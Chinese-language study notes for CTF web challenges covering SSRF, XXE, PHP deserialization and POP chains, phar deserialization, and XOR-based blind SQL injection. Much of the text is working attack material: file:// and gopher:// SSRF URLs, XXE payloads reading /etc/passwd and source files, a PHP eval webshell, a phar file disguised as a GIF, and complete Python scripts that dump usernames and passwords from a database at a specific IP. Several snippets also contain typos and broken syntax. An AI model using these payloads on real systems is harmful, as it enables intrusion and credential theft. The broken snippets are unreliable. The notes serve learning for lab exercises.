一、SSRF_CTF
SSRF(服务端伪造请求攻击),高危漏洞,可以请求到外网无法访问的内网系统,由服务端发起,可以请求到与该服务器相连的其他的与外网隔离的内网服务器
形成原因大多是由于服务端允许从其他服务器获取服务,但没有对目标地址进行过滤和功能限制
漏洞原理
curl命令——http命令行工具,支持文件的上传和下载,可用于扒取内容(url设为百度,就会显示百度的界面——但此时不是跳转到百度,而是在当前页面显示百度的前端——对百度来说,是请求页面的前面的网站请求他的,不是我们的真实IP去请求的——相当于借刀杀人)
语法:# curl [option] [url]
常见用法:
1、测试网页正常
# curl -o /dev/null -s -w %{http_code} www.linux.com
在脚本中,这是很常见的测试网站是否正常的用法
2、保存http的response里面的cookie信息
# curl -c cookiec.txt http://www.linux.com
执行后cookie信息就被存到了cookiec.txt里面了
3、保存http的response里面的header信息
# curl -D cookied.txt http://www.linux.com
执行后cookie信息就被存到了cookied.txt里面了
注意:-c(小写)产生的cookie和-D里面的cookie是不一样的
4、模仿浏览器
curl内置option:-A可以让我们指定浏览器去访问网站
# curl -A "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.0)" http://www.linux.com
5、伪造referer(盗链)
很多服务器会检查http访问的referer从而来控制访问。比如:你是先访问首页,然后再访问首页中的邮箱页面,这里访问邮箱的referer地址就是访问首页成功后的页面地址,如果服务器发现对邮箱页面访问的referer地址不是首页的地址,就断定那是个盗连了
curl中内置option:-e可以让我们设定referer# curl -e "www.linux.com" http://mail.linux.com
6、显示抓取错误
# curl -f http://www.linux.com/error
典型SSRF触发代码
<?php
...
$URL=$_GET['url'];
$ch=curl_init($url);
curl_setopt($ch, option:CURLOPT_HEADER, value:FALSE);
curl_setopt($ch, option:CURLOPT_SSL_VERIFYPEER, value:FALSE);
$RES=curl_exec($CH);
curl_close($CH);
...
典型的SSRF触发代码,curl_exec函数会在代码里面封装为一个函数
前端传进来的url被后台使用curl_exec函数进行了请求,然后又将结果返回给前端
参数 --version 可用于查看curl支持的其他协议:如 FTP、FTPS、HTTP、TELENT、DICT等
?>
该网站用于查询当前的出口IP,在百度翻译界面查询该网站会显示百度翻译服务器的IP地址——百度翻译
可现在上述网址查询目标IP,然后将此页面的URL复制到百度翻译,就可以查询该IP的真实IP,或者出口IP
URL跳转
在别人的网站跳转到目标的恶意网站去,可以校验跳转的URL的域名头,不是当前资产的域名头就不允许跳转
@绕过——@到一个域名,不能是文件
https://blog.csdn.net/?url=http://blog.xxx@baidu.com
@绕过的话————此链接就会自己跳转到百度的网站上
URL支持很多的协议:可以使用file协议读取本地的根目录、http/https协议访问一些别的资源、使用FTP协议访问一些资源等——最常用的是file协议
https://blog.csdn.net/?url=file:///etc/password
系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读操作。
文件每一行代表着一个用户的信息,格式如下
用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell
1、x 代表该用户有密码
密码存储在 /etc/shadow 文件中,此文件只有 root 用户可以浏览和操作,这样就最大限度地保证了密码的安全
“x” 不能删除,如果删除了 “x”,那么系统会认为这个用户没有密码,从而导致只输入用户名而不用输入密码就可以登陆
root:x:0:0:root:/root:/bin/bash
xaiowang:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
lihua:x:2:2:bin:/bin:/usr/sbin/nologin
...
wangmei:x:1000:1000:ubuntu-18.04.1,,,:/home/skx:/bin/bash
lilei:x:1001:1001:,,,:/home/lilei:/bin/bash
parse_url()函数
parse_url()函数:把URL按协议,POST头(www.baidu.com),路径,查询目标等进行解析——只需要校验host头即可
使用XXX@www.baidu.com绕过,就会有一个新的传参user,其值为XXX
换成file协议parse_url()函数也可以解析
<?php
//I stored flag.txt at baidu.com
show_source(__FILE__);
if(isset($_GET['url']));
$url=parse_url($_GET['URL']);
if(!url){
die('can not parse url:'.$_GET['url']);
}
if(substr($_GET['url'],strlen('http://').strlen(baidu.com))==='baidu.com'){
die('hi,papi,you must pass this!']);
}
if($url['host']==='baidu,com'){
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$GET['url']);
curl_exec($ch);
curl_close($ch);
}else{
die('save it,hacker');
}
}
白盒审计,碰到如下代码,可以做任意文件读取,也可以访问账号密码
<?php echo file_get_contents($GET_[W]);
GET传参和POST传参的对象可能会存在不同
一般情况下,传参都是传给当前网页,但如果当前网页是重定向的话,重定向的URL本身就是原URL的传参,如果想要文件的读取权限,只能GET传参跟在URL的后面,不能使用POST传参,POST传参是传给原来的URL
如果非要POST传参,可以使用gopher协议
gopher协议:用于信息查找,可以传递信息给内网,但传递的信息要进行URL编码——空格(%20),换行(%0D),冒号,//,都需要编码
可以直接通过?url=gopher://抓包后的访问目标网站数据包的URL编码(传参类型参考原来需要的参数)
在gopher协议下要注意content_length——它的长度要传参内容的长度保持一致
eg:gopher://目标ip:80_POST%20/security/flag.php……
python脚本化gopher协议
自动对目标网站传参然后url编码返回,使用的时候在cmd启动python 3.7.2,然后转到脚本所在的目录下(最好放在桌面上,比较好找一些),直接输入脚本名称启动脚本等待返回值即可
实际可以在浏览器传参,burp抓包,然后去掉不重要的内容,合为一行,进行url编码,前面加gopher://196.164.32.4_ 即可
import urllib
import requests
test =\
"""POST /security/flag.php HTTP/1,1
Host:192.164.32.4
Content-Type:application/x-www-form-urlencoded
w=flag.php
"""
tmp=urllib.parse.quote(test) //url编码
new=tmp.replace('0A','%0D%0A') //换行替换
result='gopher://192.164.32.4_'+new //使用的时候换IP即可
print(result)
先查SSRF存在与否,然后file协议,消除cookie,注册一个,然后load url,sql注入,反序列化得到flag所在的路径[网鼎杯 2018]Fakebook(思路详细有说明)_lazy1310的博客-CSDN博客
ctf-wscan 为ctf而生的web扫描器_ctf-wscan.py/-CSDN博客
清除cookie可以退出当前的登录状态
二、XXE漏洞
pikachu之XXE_pikachu xxe-CSDN博客
XXE(XML External Entity Injection) XML外部实体注入,XML是一种类似于HTML(超文本标记语言)的可扩展标记语言,是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素(冷门漏洞,但高危)
当使用XML进行信息传输的时候,可能就会发生XXE漏洞攻击WEB漏洞 XXE原理&实践 - FreeBuf网络安全行业门户
xxe漏洞支持file、http、php://filter 等协议,file协议支持任意文件读取(但是需要注意的是,XML文本中如果它的标签是定死的,就必须按这个给出的标签来,也就是说要根据源码指定最后输出的文件名确定<name></name>标签里面是什么内容,如果读取失败的话,也有可能是没有加根标签<note></note>)
从XXE到RCE的完美利用:利用不安全的 XML 和 ZIP 文件解析器创建 WebShell
xxe漏洞学习_xxe漏洞结合expect组件-CSDN博客
expect组件初次使用需要安装,Linux系统 PHP安装expect扩展详解_expect命令安装-CSDN博客
expect协议不支持在,命令中有空格,如果有的话要使用$IFS代替——很少有服务器既存在xxe漏洞,又安装了expect扩展——因为这个扩展默认是不安装的
<?php eval ($_POST[w]);?>
超级详细的 FinalShell 安装 及使用教程_-CSDN博客 (网站服务器+xshell)
题目一
启动第一个靶机,常规遇到登录框,先用弱口令试一下
不行再抓包看一下, 显然和之前的数据包是不一样的,多了些XML标签
构造payload如下:(一般来说这个很冷门)
<?xml version="1.0"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "filter:///etc/passwd">
]>
<user><username>&xxe;</username><password>1</password></user>
#调用xxe实体,执行后面的命令————读取/etc/passwd文件
xxe还可以进行内网信息收集,如探索存活主机、查看路由等
本题的flag就在根目录下面,查看的时候,使用xxe实体,里面定义读取文件:filter:///flag文件即可得到flag
题目二
第二个界面和上一个一样,抓包放到repeater里面,file读passwd文件可以,但是没什么信息
加xml代码模板,读取当前页面,然后base64解码
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE user [
<!ENTITY admin SYSTEM "php://filter/convert.base64-encode/resource=doLogin.php">
]>
<user><username>&admin;</username><password>1234</password></user>
md5解码如下,但是登不进去admin
然后读内网IP,也没什么用
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE user [
<!ENTITY admin SYSTEM "file:///etc/hosts">
]>
<user><username>&admin;</username><password>1234</password></user>
读apr文件,如下有个IP地址
然后利用HTTP协议请求一下,可以看到无回显,说明该IP没有web服务
再次查询arp文件,发现又有另一个IP,试一下这个IP,可以看到还是没有回显
放到intruder里面爆破,选择12为爆破点爆破C段,查询存活主机,然后payloads选择numbers,从1~255,步长为1
理论上就能爆破出来哪个C段是对的,访问该ip 就能得到正确的flag
三、反序列化漏洞
析构方法__destruct()在类的对象销毁的时候自动解析或者执行
PHP中 __toString()方法详解-php教程-PHP中文网
类的一些魔术的方法
<?php
class CMDClass
{
public $cmd=""; //默认cmd为空,也就是不输入任何的数据
function __wakeup()
//魔术方法,在键入之后匹配内容有无ip,在windows系统上屏蔽输入ipconfig
//反序列化函数执行之后,如果有这个函数的话,就会优先执行这个方法里面的函数或者方法
{
if(strpos($this->cmd 'ip') !== flase)
$this->cmd="echo 非法输入";
}
function __destruct()
//析构方法,在类的对象销毁之后执行,也就是说这个方法是最后一个执行的
{
passthru($this->cmd,$result);
}
function __toString()
//魔术方法,在类中接收到的对象被当做字符串的时候执行下一句看返回什么
{
return "";
}
}
$a=unserialize($POST['xxx']); //反序列化函数
echo $a;
//post传参接收一个输入,然后首先执行wakeup方法,没有敏感字符之后再执行toString方法
//此时对象被当做一个字符串执行,执行后释放内存,此对象被销毁之后再执行destruct方法返回结果
__wakeup()魔术方法绕过(CVE-2016-7124)
wakeup函数是在反序列化函数之后查找,如果有这个方法,就会优先执行这个方法下面的内容,如果没有这个的话,大概率会出问题,报错或者什么的
绕过的话,首先要知道它的源码,把源码放到菜鸟工具
<?php
class CMDClass
{
public $cmd="ipconfig"; //输入敏感字符
}
$a=new CMDClass;
echo serialize($a); //得到序列化的结果
O:8:"CMDClass":1:{s:3:"cmd";s:8:"ipconfig";}
绕过的话,只需要把类的个数该得比它原本的个数大即可
然后浏览源码所在的页面,打开hackbar,下载url,然后post传参
a=O:8:"CMDClass":1000:{s:3:"cmd";s:8:"ipconfig";}
但是需要注意的是:此时的php的版本有要求——PHP5<5.6.25,PHP7<7.0.10
php的类中变量的三种声明
变量是类的数据成员,它们用于存储类中所需的数据。变量可以是私有的,只能在类定义中访问;也可以是公共的,可以被类的方法和外部代码访问
在PHP中,当声明类变量时,您可以指定变量的访问级别。PHP支持三种访问级别:
- public:可以被类的方法和外部代码访问
- protected:只能被类的方法和其子类访问
- private:只能在类定义中访问
把cmd的输入分别改为这三种类型的话,序列化之后的结果的变化:
1、变量为pubulic时序列化的运行结果
公开属性的只会显示类的属性
2、将变量改为private之后的运行结果
私有的会显示类名加属性
此时s之后的数字变为了13,可以看到他之后的所有的字符串就是13个,未显示的字符是%00,属于具有截断含义的不可见字符串,此时显示的字符其实是浏览器渲染的结果
直接复制过去,然后把类的个数改大一点就可以直接绕过了
但是此时浏览器渲染的%00可以直接手动换为具体的字符串,或者在菜鸟工具里面把最后一行加个urlencode()函数编码,直接编码为url,避免在序列化内容过多的时候手动该%00过于麻烦,但是此时就需要在一堆编码里面准确的找到类的个数是哪个,一般来说类的个数处于两个冒号之间,冒号的url编码是%3A,所以找到偏前面一点的,在两个%3A之间的数字改大一点就可以了
具体结果如下所示:
3、将变量改为protected之后的序列化结果
此时它也有%00,但是此时也是只有类的属性名字,没有具体的类名,也可以使用你lencode函数来编码之后再更改类的个数
BUUCTF [web专项16][极客大挑战 2019]PHP_buuctfmore fast-CSDN博客
首先进入靶场之后,此页面下面可以先访问一下主页index.php
然后扫目录看一下,就会扫出来www.zip,浏览此页面,就会自动下载目标页面的源码包,然后打开此源码包,会发现有很多前端代码,但主要在于php文件里面(里面会有一个假flag)
主要就是class.php文件的审计代码,得到用户名必须为admin, 密码必须为100才会打印flag,但是类里面的wakeup方法不能执行,执行之后就会置为guest
index页面包含class页面,里面友谊个GET春蚕的反序列化点,所以可以使用序列化绕过wawkeup方法,然后打印flag
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
//之前类里面的所有的方法都删掉,其余的东西不变
//然后在后面再构造一个新的类,这个类使用的就是最新的可以通过的账号密码
$a = new Name('admin',100);
$b = serialize($a);
echo $b;
由于账号密码是私有变量,但是在网页查看源代码的时候会发现有序列化的结果,使用编码函数urlencode()带出序列化的结果之后,把两个%3A之间的数字改为比原来大的数字之后,就会自动打印flag了
1、pop链条
PHP反序列化&POP链构造&魔术方法流程&漏洞触发条件&属性修改_魔术方法与反序列化pop链
一般来说,在类的方法里面不会出现系统执行命令执行一些不确定的参数或者输入
触发flag或者rce的方法都是在魔术方法里面
pop链就是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击的目的
php中魔术方法详解_php魔术方法的讲解与使用-CSDN博客
php有哪些魔术方法_php魔术方法有哪些-PHP问题-PHP中文网
<?php #pop链
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "str-str".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo sprintf("flag{%s}","P0p_S2EreaWqfFFwiOk1mttT");
}
}
$a = $_GET['string'];
unserialize($a);
highlight_file("./index.php");
?>
PHP魔术方法总览
__construct() 当创建对象时触发,一般用于初始化对象,对变量赋初值
__sleep() 使用serialize()时自动触发
__wakeup() 使用unserialize()时自动触发
__destruct() 当一个对象被销毁时触发
__toString() 当一个类被当成字符串使用时触发
__invoke() 当尝试以调用函数的方式调用一个对象时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
构造链就是先找到能自动执行的魔术方法,然后一环套一环,把上一个类的属性变为下一个将要执行的类的对象,以此类推,然后最终执行到希望的函数,以上述的代码为例,就是要执行到get_flag函数为止
把一个类的属性作为另一个类的对象传输过去
第一种构造EXP的方法
//首先定义新的类 start_gg,然后让这个类里面的对象mod1为下一个类的对象 $a=new start_gg(); $a->mod1=new Call(); $a->mod1->mod1=new funct(); $a->mod1->mod1->mod1=new func(); $a->mod1->mod1->mod1->mod1=new string1(); $a->mod1->mod1->mod1->mod1->mod1=new get_flag(); echo serialize($a);
执行到最后就可以使用rce任意函数执行
第二种构造EXP的方法
<?php #pop链 class start_gg { public $mod1; //类的变量在定义的时候是不能直接赋值的 public $mod2; public function __construct() //构造函数,逐步调用 { $this->mod1=new Call(); } } class Call { public $mod1; public $mod2; public function test1() { $this->mod1=new funct(); //此处是这个类的mod1是new funct的对象,然后调用下一个函数 } } class funct { public $mod1; public $mod2; public function __call($test2,$arr) { //$s1 = $this->mod1; //$s1(); $this->mod1=new func(); } } class func { public $mod1; public $mod2; public function __invoke() { //$this->mod2 = "str-str".$this->mod1; $this->mod1 = new string1; } } class string1 { public $str1; public $str2; public function __toString() { //$this->str1->get_flag(); //return "1"; $this->mod1 = new GetFlag; } } class GetFlag { //public function get_flag() // { // echo sprintf("flag{%s}","P0p_S2EreaWqfFFwiOk1mttT"); //} // 注释代码都需要删掉EXP才能构造完成 } $a = new start_gg(); echo unserialize($a); ?>
pop链题目举例
左边是目标代码,右边是EXP
需要注意的是,construct函数方法属于初始化对象的函数,然后调用pop链条上下一个需要的函数,最后序列化执行的时候,可以先执行whoami,接着就可以执行别的内容(比如ls查看所有内容或者执行cat flag,查看flag文件),其中 -c 是因为在linux系统里面如果不加参数的话,ping命令会一直执行
2、反序列化phar文件格式
phar的伪协议(phar://)在文件包含漏洞里面可以将任意的文件都当做压缩文件解压缩,可以结合文件包含和文件上传做RCE
反序列化中的phar文件提供了一种将整个php应用放入 .phar 文件中的方法,以方便移动和安装,可将几个文件组合成一个文件的编写方式,可将完整的php程序分布在一个文件中,并从该文件中运行——phar文件是php支持的一种文件形式,是个扩展,phar文件可以将三个文件放到一起,可以理解为一种归档
https://www.cnblogs.com/hello-there/p/12968850.html利用phar文件拓展php反序列化攻击
phar文件中,每个被压缩文件的权限和属性等信息都已序列化的形式讯息虎仔用户自定义的 meta-data,这正是phar反序列化的攻击手法的核心切入点——因为此内容存储了序列化之后的值
通常反序列化的时候,只能将序列化之后的字符查询传入 unserialize(),随着代码安全性越来越高,利用难度也越来越大
利用phar文件会以序列化的形式存储自用户自定义的meta-data这一特性,在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖 unserialize()直接进行反序列化操作
phar文件无法生成,小皮如何配置可以生成phar文件_phar生成无效-CSDN博客
<?php class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } @unlink('phar.phar') $phar = new Phar('phar.phar'); $phar -> startBuffering(); // 设置开始状态 $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置 stub $phar -> addFromString('test.txt','test'); $object = new AnyClass(); //对象实例化 $object -> output= 'phpinfo();'; //将输出的内容替换为phpinfo(); $phar -> setMetadata($object); $phar -> stopBuffering(); ?>
( 需要注意的是: $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置 stub——有这段代码才是phar文件,
代码中的 __HALT_COMPILER();? 对前面的内容或者后缀名是没有要求的,可以通过添加任意文件头+修改后缀名的方式将phar文件伪装为图片格式的文件 )
上述 PHP 代码:
定义一个名为
AnyClass
的类:
- 这个类有一个公共变量
$output
,其初始值为'echo "ok";'
- 这个类有一个析构函数
__destruct()
。当类的实例不再被使用时(例如,在脚本执行结束时),析构函数会自动调用,在析构函数中,它使用eval()
函数来执行$output
变量中存储的 PHP 代码创建一个 Phar 归档文件:
- Phar 是 PHP 的一个扩展,允许你创建自包含的 PHP 归档文件。这些归档文件可以包含 PHP 脚本、图像、CSS 等文件,并且可以作为一个单独的文件执行
$phar = new Phar('phar.phar');
初始化了一个新的 Phar 归档文件,命名为phar.phar
设置 Phar 归档的 stub:
- Stub 是 Phar 归档文件的开头部分,它包含用于执行归档的 PHP 代码
GIF89a
是 GIF 图像的标识符,这意味着该 Phar 归档文件的 stub 开始时看起来像一个 GIF 图像,这可以用于隐藏 Phar 归档的真实内容<?php __HALT_COMPILER();?>
是一个特殊的 PHP 指令,告诉 PHP 解释器在此处停止编译。这意味着 stub 之后的任何内容都不会被 PHP 解释器作为代码执行向 Phar 归档添加文件:
$phar -> addFromString('test.txt','test');
将字符串'test'
添加到 Phar 归档中,并将其命名为test.txt
修改
AnyClass
实例的$output
变量并添加到 Phar 归档的元数据:
$object = new AnyClass();
创建了AnyClass
的一个实例$object -> output = 'phpinfo();';
将$output
变量的值更改为'phpinfo();'
,这是一个 PHP 函数,用于显示 PHP 配置信息$phar -> setMetadata($object);
将这个AnyClass
实例作为 Phar 归档的元数据保存。Phar 归档可以包含与归档关联的元数据,这些元数据通常不是作为独立的文件保存的,而是作为 Phar 归档文件的一部分完成 Phar 归档的创建:
$phar -> stopBuffering();
告诉 Phar 归档停止缓冲,并保存归档文件
当系统函数的参数可控时,可以利用 Phar 伪协议来解析 Phar 文件,从而执行其中的恶意代码
这通常发生在一些文件操作函数或包含函数中,比如 file_get_contents()
, include()
, require()
, fopen()
, imagecreatefromstring()
等,当这些函数的参数可以由用户控制时,就存在安全风险
fileatime | file_exists | file_get_contents | file_put_contents |
---|---|---|---|
file | filegroup | fopen | fileinode |
fileowner | fileperms | is_dir | is_file |
is_link | is_executable | is_readable | is_writeable |
is_wirtble | parse_ini_file | copy | unlink |
stat | readfile | info_file |
首先,我们创建一个包含恶意代码的 Phar 文件:
<?php
// 创建一个 Phar 文件
$phar = new Phar('malicious.phar');
// 初始化 Phar
$phar->startBuffering();
// 设置 stub,通常用于模拟合法文件头,这里简化为空
$phar->setStub('');
// 添加恶意代码文件
$phar->buildFromDirectory(__DIR__.'/malicious_code');
// 设置元数据(这里不是必须的,但可以用于存储其他信息)
$phar['malicious.php'] = '<?php phpinfo(); ?>';
// 停止缓冲,生成 Phar 文件
$phar->stopBuffering();
?>
假设在 malicious_code
目录中有一个名为 index.php
的文件,它包含了我们想要执行的恶意代码
然后,我们构造一个利用 Phar 伪协议来包含并执行这个 Phar 文件的示例:
<?php
$pharPath = '/path/to/malicious.phar'; // 假设恶意 Phar 文件位于我们可控的路径下
include 'phar://' . $pharPath . '/index.php';
// 使用 Phar 伪协议来包含并执行 Phar 文件中的 index.php
?>
在这个例子中,当 include
语句执行时,它会通过 Phar 伪协议来解析并执行 malicious.phar
文件中的 index.php
。如果 index.php
中包含恶意代码,那么这些代码将被执行
把phar文件拖进winhex软件里面会生成如下格式的文件,说明可以在phar文件里面可以存储序列化之后的值
当遇到上传文件的点,可能存在反序列化点的话,找到受影响的系统函数,然后利用phar伪协议读取phar文件
phar反序列化的本质就是将正常反序列化的EXP写到一个phar文件,然后通过系统函数读取,执行此phar文件里面的恶意代码
phar文件要能上传到服务端+有存在漏洞的魔术方法+文件操作函数的参数可控且伪协议使用的字符没有被过滤,此方法才能成立
phar反序列化的CTF题目
SWPUCTF2018 SimplePHP 题目的脚本层面解析
[SWPUCTF 2018]SimplePHP 一道phar反序列化和pop链的题目_ctf phar签名-CSDN博客
【
$this变量
】在PHP中,
$this
是一个特殊的变量,它用于在面向对象的编程中引用当前对象的实例。当你创建一个类的实例(即对象)并调用其方法或访问其属性时,$this
关键字允许你在方法内部引用该对象的属性和方法在你提供的
Test
类中,$this
被用于以下情境:
在构造函数
__construct()
中:$this->params = array();
这里,
$this->params
表示当前对象的params
属性。构造函数用于初始化对象的状态,这里它将params
属性设置为一个空数组在
__get()
方法中:return $this->get($key);
这里,
$this->get($key)
调用当前对象的get
方法(尽管你提供的代码片段中没有显示get
方法,我假设它在类的其他部分中定义)。__get()
是一个魔术方法,当试图访问一个不可访问(比如私有或受保护的)属性或未定义的属性时,它会被自动调用
$this
的作用主要是确保你访问或修改的是当前对象的属性或方法,而不是其他任何对象或全局变量。它使得代码更加清晰和可维护,因为你可以明确地知道你是在操作哪个对象需要注意的是,
$this
只能在类的内部使用,包括在类的方法、构造函数、析构函数以及魔术方法中。在类的外部,你不能使用$this
来引用对象,需要使用对象变量名来访问对象的属性和方法
四、python脚本编写
脚本模块介绍
脚本语言可以选择python、go、java、php、c 及 .sh 文件也算是脚本
代码能力决定上限 —— 一般来说,python在脚本编写方面相对有优势:python语言比较简单、容易上手
一个简单的读取桌面的test文件夹里面的所有txt文件,将文件名抽取出来列为一个列表,命名为test.txt,放到桌面的python脚本
import os
# 替换为你的用户名
YOUR_USERNAME = "your_username"
# 获取桌面路径
desktop_path = f"C:\\Users\\{YOUR_USERNAME}\\Desktop"
# 设置test文件夹和输出文件的路径
test_folder_path = os.path.join(desktop_path, "test")
output_file_path = os.path.join(desktop_path, "test.txt")
# 获取test文件夹中所有的txt文件
txt_files = [f for f in os.listdir(test_folder_path) if f.endswith('.txt')]
# 将文件名写入test.txt文件
with open(output_file_path, 'w', encoding='utf-8') as f:
for file in txt_files:
f.write(file + '\n')
print(f"文件名已写入 {output_file_path}")
异或注入思路
buuctf10(异或注入&中文字符绕过preg_match&伪随机数漏洞seed)_ctf f (!preg_match('/key\.php\/*$/i',-CSDN博客
以 SQL Injections靶场为例:
盲注:异或符号一般很少被过滤,异或运算规则——不相同返回值为1,相同返回值则为0
http://43.138.234.28:1080/Less-5/index.php?id=1'^(ascii(substr((select(database())),1,1))<1)^1%23
//substr截取查询到的数据库的首字母使用ascii做字母处理,然后和倒数第二个1作比较
这个注入字符串的目的是在尝试查询当前数据库名的同时,确保整个 SQL 语句不会因为错误而失败。由于 ascii(substr((select(database())),1,1))<1
这个条件总是为 false
,整个表达式的结果总是 1
,这使得整个 SQL 语句在逻辑上仍然有效,从而不会被数据库系统拒绝
异或二分法
【
res.text
】在
requests
库中,res.text
是一个属性,用于获取HTTP响应的内容,作为Unicode字符串返回。当使用requests.post
(或requests.get
等其他请求方法)发送请求后,返回的响应对象(通常赋值给变量如res
)包含了很多有关响应的信息,其中之一就是text
属性
res.text
的内容是服务器返回的原始响应体,通常是HTML、JSON、XML或其他格式的文本数据。如果响应的内容是文本类型(如HTML页面、JSON数据等),可以直接通过res.text
读取在SQL注入攻击的上下文中,攻击者会查看
res.text
的内容来查找特定的错误消息或模式,这些消息或模式会帮助他们推断出数据库中的信息。例如,如果应用程序在用户名或密码不正确时返回“用户名错误”这样的消息,攻击者就会根据这条消息来调整他们的payload,直到他们能够成功地提取出所需的信息
#-*-coding:utf-8-*-
import requests
import time
host = "http://43.138.234.28:1080/Less-5/index.php?id="
# 使用了一个二分法查找字符的逻辑。通过不断调整low和high的值(ASCII码范围)
# 并使用mid作为中间值,来猜测当前位置的字符
def getDatabase(): # 获取数据库名
global host # 设为全局变量,保证可以在函数内部调用
ans='' # answer
for i in range(1,1000):
low = 32
high = 128 # 32之前都是不可见字符,128是最后的英文字符,所以是这个范围
mid = (low+high)//2
# payload是一个构造的SQL注入语句,用于提取数据库名或表名中的特定字符
# 使用ascii(substr(...))函数来获取数据库名或表名中某个位置的字符的ASCII值
# %d占位符用于插入循环中的位置i和中间值mid
while low < high:
payload= "1'^(ascii(substr((select(database())),%d,1))<%d)^1-- -" % (i,mid)
url = host + payload
# print(url)
res = requests.get(url)
# 使用requests.post(host,data=param)发送带有注入payload的请求
if "You are in" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("database is -> "+ans)
# 检查响应文本中是否包含"用户名错误"。如果包含,则将high设置为mid
# 如果不包含"用户名错误",则字符的ASCII值应该小于或等于mid,因此将low设置为mid+1
# 一旦确定了字符的ASCII值,就将其转换为字符并添加到ans字符串中
# 打印出当前已经找到的数据库名或表名的一部分
# database is -> security
def getTable(): #获取表名
global host
ans=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
payload = "1'^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d)^1-- -" % (i, mid)
url = host + payload
# print(url)
res = requests.post(url)
if "You are in" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("table is -> "+ans)
# table is -> emails,referers,uagents,users
def getColumn(): #获取列名
global host
ans=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
payload = "1'^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),%d,1))<%d)^1-- -" % (
i, mid)
url = host + payload
# print(url)
res = requests.post(url)
if "You are in" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("column is -> "+ans)
# column is -> USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password
def dumpTable():#脱裤
global host
ans=''
for i in range(1,10000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
payload = "1'^(ascii(substr((select(group_concat(username,0x3a,password))from(users)),%d,1))<%d)^1-- -" % (
i, mid)
url = host + payload
# print(url)
res = requests.post(url)
if "You are in" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("dumpTable is -> "+ans)
dumpTable()
def getTable(): #获取表名
global host
ans=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
payload = "1'^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d)^1#" % (i, mid)
param = {"username": payload, "password": "admin"}
res = requests.post(host,data=param)
if "用户名错误" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("table is -> "+ans)
def getColumn(): #获取列名
global host
ans=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
payload = "1'^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='admin')),%d,1))<%d)^1#" % (
i, mid)
param = {"username": payload, "password": "admin"}
res = requests.post(host, data=param)
if "用户名错误" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("column is -> "+ans)
def dumpTable(): #脱库
global host
ans=''
for i in range(1,10000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
payload = "1'^(ascii(substr((select(group_concat(username,0x3a,password))from(admin)),%d,1))<%d)^1#" % (
i, mid)
param = {"username": payload, "password": "admin"}
res = requests.post(host, data=param)
if "用户名错误" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("dumpTable is -> "+ans)
dumpTable()
【题目举例】
【CISCN2019 HackWorld】
